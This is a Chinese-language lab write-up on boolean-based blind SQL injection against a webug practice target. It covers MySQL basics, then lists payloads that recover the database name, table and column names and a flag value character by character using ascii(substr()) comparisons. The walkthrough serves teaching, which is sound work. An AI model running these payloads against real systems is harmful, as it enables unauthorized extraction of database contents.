布尔注入介绍:对于基于布尔的盲注,可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码...),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<-->False发生变化的转折点。
0x01 Mysql数据相关知识
1. mysql三种注释风格:
单行注释:sql语句后使用字符#或者--进行注释
多行注释:使用/* */将sql语句圈起来注释
内联注释:内联注释是MySQL数据库为了保持与其他数据库兼容,特意添加的新功能。把Mysql特有的语句放在/*! */中
2.Union联合查询:
1.Union操作符用于拼接两个或者多select查询语句
2.Union中的每个查询必须拥有相同的列数
3.Order by语句:
1.Order by 语句用于根据指定的列对结果集进行排序
2.Order by 语句默认按照升序对记录进行排序
4.Sql注入常用的函数:
1.
substr() | 截取字符 |
mid() | 截取字符 |
database() | 当前数据库 |
ord()与ascii() | 字符与ASCII互转 |
limit() | 控制查询位置 |
length() | 探测字段长度 |
into outfile() into dumpfile | 写文件 |
@@basedir() | mysql安装路径 |
0x02 漏洞利用
1. 打开靶场,发现url参数id为1,尝试修改为2 发现回显hello,修改为3 发现正常无回显 我们好像意识到了什么。。。
2.老一套探测sql注入
正常页面
1.加 ' 发现内容变了
2.加 ' and 1=1 %23 发现内容没变
3.加 ' and 1=2 %23 发现内容变了
4.发现注入点 且 并没有报错 不是显错注入
3. 探测列数
192.168.72.136/control/sqlinject/bool_injection.php?id=1' order by 1 %23 #页面没变
192.168.72.136/control/sqlinject/bool_injection.php?id=1' order by 2 %23 #页面没变
192.168.72.136/control/sqlinject/bool_injection.php?id=1' order by 3 %23 #页面变化 说明是两列
4.判断数据库名称的长度(二分法思维)
1' and length(database())>10 %23 | 页面改变 |
1' and length(database())>5 %23 | 页面改变 |
1' and length(database())>3 %23 | 页面没变 |
1' and length(database())>4 %23 | 页面没变 |
确定数据库名称长度为5
5.判断数据库名称的字符组成元素 使用substr()
字符 | ASCII码-10进制 | 字符 | ASCII码-10进制 | |
---|---|---|---|---|
a | 97 | ==> | z | 122 |
A | 65 | ==> | Z | 90 |
0 | 48 | ==> | 9 | 57 |
_ | 95 | @ | 64 |
以上常规可能用到的字符的ASCII码取值范围:[48,122]
当然也可以扩大范围,在ASCII码所有字符的取值范围中筛选:[0,127]
1.
确定第一个字母的ascii值为119
改substr的第二个参数 以此类推 找出数据库的名称为:webug
6.猜解数据库表个数:
1' and (select count(table_name) from information_schema.tables where table_schema=database())>10 %23 | 页面改变 |
1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 %23 | 页面不变 |
1' and (select count(table_name) from information_schema.tables where table_schema=database())>6 %23 | 页面不变 |
1' and (select count(table_name) from information_schema.tables where table_schema=database())=7 %23 | 页面不变 |
7个表
7.猜解表名:
1.首先猜解第一个表名长度:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 %23 | 页面改变 |
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 %23 | 页面不变 |
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>8 %23 | 页面不变 |
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 %23 | 页面不变 |
确定第一表的长度为9
以此类推,修改substr的第二个参数,判断第二个表长度为8, 再类推 到第4个表使用这个语句
http://192.168.72.136/control/sqlinject/bool_injection.php?id=1%27%20and%20length(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1),1))=4%20%23
发现了这个表的名称长度为4 可能是我们要的flag(后来发现竟然不是) 如果你需要别的 就需要用下面爆破flag的方法爆破其他数据表名称
2.判断表的位置和名称长度之后判断表的具体名称:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>88 %23 | 页面不变 |
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>120 %23 | 页面改变 |
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>100 %23 | 页面不变 |
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>105 %23 | 页面改变 |
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=102 %23 | 页面不变 |
发现第一个字符的ascii值为102 查询字符为f 依次类推得到表名flag
8. 猜解字段名:
1.依然是猜解字段名个数
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')>10 %23 | 页面改变 |
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')>5 %23 | 页面改变 |
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1)=4 %23 | 页面不变 |
发现字段的个数为2
2.猜解各字段名的位数
猜解第一个字段的长度:
1' and length(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1))>5 %23 | 页面改变 |
1' and length(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1))=2%23 | 页面不变 |
发现第一个字段长度是2 可能不是我们要的‘flag’字段
猜解第二个字段的长度
1' and length(substr((select column_name from information_schema.columns where table_name='flag' limit 1,1),1))>5 %23 | 页面改变 |
1' and length(substr((select column_name from information_schema.columns where table_name='flag' limit 1,1),1))=4 %23 | 页面不变 |
发现第二个字段的长度为4 可能使我们需要的字段 爆破一下这个字段的名字
1' and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 1,1),1,1))>88 %23 | 页面不变 |
1' and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 1,1),1,1))>120 %23 | 页面改变 |
1' and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 1,1),1,1))=102 %23 | 页面不变 |
发现第二个字段的第一个字符ascii值为102 依次类推 发现字段名也是flag
9.猜解字段值:
依然是依次猜解字段值得长度 以及字段的值
1.猜解字段值长度:
1' and length(substr((select flag from flag limit 0,1),1))>10 %23 | 页面不变 |
1' and length(substr((select flag from flag limit 0,1),1))>20 %23 | 页面改变 |
1' and length(substr((select flag from flag limit 0,1),1))=16 %23 | 页面不变 |
字段值长度为16
2.猜解字段值具体值:
1' and ascii(substr((select flag from flag limit 0,1),1,1))>88 %23 | 页面不变 |
1' and ascii(substr((select flag from flag limit 0,1),1,1))>120 %23 | 页面改变 |
1' and ascii(substr((select flag from flag limit 0,1),1,1))>104 %23 | 页面改变 |
1' and ascii(substr((select flag from flag limit 0,1),1,1))>96 %23 | 页面不变 |
1' and ascii(substr((select flag from flag limit 0,1),1,1))=100 %23 | 页面不变 |
探测出来字段值第一位为d 依次类推 改变substr第二个参数 得到flag为 dfafdasfafdsadfa
10.提交flag 。。。 你没有看错 flag错误。
11.只能去探测其他表:
最后探测出来真正flag在env_list表中 行吧 方法已经放在这了
最后放出flag :fdsafsdfa
0x03 结语
原理还是很简单的,不过过程很麻烦 有些累。